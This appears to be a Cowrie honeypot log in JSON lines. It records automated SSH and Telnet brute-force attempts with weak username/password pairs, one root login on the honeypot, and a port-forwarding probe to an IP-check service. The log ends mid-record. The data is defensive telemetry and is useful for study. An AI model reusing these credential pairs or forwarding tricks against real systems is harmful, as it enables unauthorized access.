{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:24:50.662020Z","src_ip":"92.118.39.76","session":"dcf52a1b590b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:24:50.759627Z","src_ip":"92.118.39.76","session":"dcf52a1b590b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:24:51.060668Z","src_ip":"92.118.39.76","session":"dcf52a1b590b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:24:52.158775Z","src_ip":"92.118.39.76","session":"dcf52a1b590b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":54994,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d345d5b1323","protocol":"ssh","message":"New connection: 195.178.110.218:54994 (159.203.135.109:22) [session: 6d345d5b1323]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:25:13.969547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:25:13.974161Z","src_ip":"195.178.110.218","session":"6d345d5b1323","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:25:14.054403Z","src_ip":"195.178.110.218","session":"6d345d5b1323","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123456","message":"login attempt [sol/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:25:14.295083Z","src_ip":"195.178.110.218","session":"6d345d5b1323","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:25:15.377756Z","src_ip":"195.178.110.218","session":"6d345d5b1323","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":48958,"dst_ip":"10.17.0.5","dst_port":22,"session":"2569f4be3f77","protocol":"ssh","message":"New connection: 2.57.122.208:48958 (10.17.0.5:22) [session: 2569f4be3f77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:25:58.212360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:25:58.279835Z","src_ip":"2.57.122.208","session":"2569f4be3f77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:25:58.380690Z","src_ip":"2.57.122.208","session":"2569f4be3f77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"123456","message":"login attempt [trading/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:25:59.168665Z","src_ip":"2.57.122.208","session":"2569f4be3f77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:26:00.344926Z","src_ip":"2.57.122.208","session":"2569f4be3f77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":46961,"dst_ip":"10.17.0.5","dst_port":23,"session":"376d1a893f2c","protocol":"telnet","message":"New connection: 49.88.156.34:46961 (10.17.0.5:23) [session: 376d1a893f2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:26:10.933503Z"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":33682,"dst_ip":"10.17.0.5","dst_port":22,"session":"436621395c9b","protocol":"ssh","message":"New connection: 195.178.110.218:33682 (10.17.0.5:22) [session: 436621395c9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:26:55.466287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:26:55.470755Z","src_ip":"195.178.110.218","session":"436621395c9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:26:55.550411Z","src_ip":"195.178.110.218","session":"436621395c9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"12345678","message":"login attempt [sol/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:26:55.789220Z","src_ip":"195.178.110.218","session":"436621395c9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:26:56.871738Z","src_ip":"195.178.110.218","session":"436621395c9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.96574354171753,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:27:03.899159Z","src_ip":"49.88.156.34","session":"376d1a893f2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.76","src_port":55000,"dst_ip":"10.17.0.5","dst_port":22,"session":"cea99e33bb99","protocol":"ssh","message":"New connection: 92.118.39.76:55000 (10.17.0.5:22) [session: cea99e33bb99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:27:14.432186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:27:14.439691Z","src_ip":"92.118.39.76","session":"cea99e33bb99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:27:14.540704Z","src_ip":"92.118.39.76","session":"cea99e33bb99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:27:15.004631Z","src_ip":"92.118.39.76","session":"cea99e33bb99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:27:16.111792Z","src_ip":"92.118.39.76","session":"cea99e33bb99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.95.118","src_port":40156,"dst_ip":"159.203.135.109","dst_port":22,"session":"bdb9bdedbe57","protocol":"ssh","message":"New connection: 80.94.95.118:40156 (159.203.135.109:22) [session: bdb9bdedbe57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:27:37.812541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:27:37.825963Z","src_ip":"80.94.95.118","session":"bdb9bdedbe57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"390ffe68a68c2a2891210413e80689fa","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 390ffe68a68c2a2891210413e80689fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:27:37.928034Z","src_ip":"80.94.95.118","session":"bdb9bdedbe57","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Aa123123","message":"login attempt [root/Aa123123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:27:38.448989Z","src_ip":"80.94.95.118","session":"bdb9bdedbe57","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"52.208.199.116","dst_port":443,"src_ip":"80.94.95.118","src_port":45092,"message":"direct-tcp connection request to 52.208.199.116:443 from 127.0.0.1:45092","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:27:44.986536Z","session":"bdb9bdedbe57","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"52.208.199.116","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 52.208.199.116:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:27:46.614122Z","src_ip":"80.94.95.118","session":"bdb9bdedbe57","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"52.208.199.116","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03/\\xc6\\xda\\xf7\\xaeH\\xee\\xad\\xf6\\xa0\\x04=)S\\xb7\\xfc\\xbd\\xbb\\xccB|\\xa0\\xfcm\\xfe\\x1c\\xceXA#\\xc6\\x19 \\xd4_q\\xces\\xdb\\xfe8\\xaf*\\xcca\\x12]\\x11\\x18 \\x83\\x85\\xf5\\x14B\\x95\\x98L\\xa2\\xa0\\xdf|\\xce\\xbcP\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 ,\\xe0\\xb3\\x03U\\n,\\xd2\\xd9J\\xcf5\\xb6h\\xb5\\x803 \\x02xh\\xd0Lnn\\x85\\xba3G\\xe8/b\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 52.208.199.116:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03/\\xc6\\xda\\xf7\\xaeH\\xee\\xad\\xf6\\xa0\\x04=)S\\xb7\\xfc\\xbd\\xbb\\xccB|\\xa0\\xfcm\\xfe\\x1c\\xceXA#\\xc6\\x19 \\xd4_q\\xces\\xdb\\xfe8\\xaf*\\xcca\\x12]\\x11\\x18 \\x83\\x85\\xf5\\x14B\\x95\\x98L\\xa2\\xa0\\xdf|\\xce\\xbcP\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 ,\\xe0\\xb3\\x03U\\n,\\xd2\\xd9J\\xcf5\\xb6h\\xb5\\x803 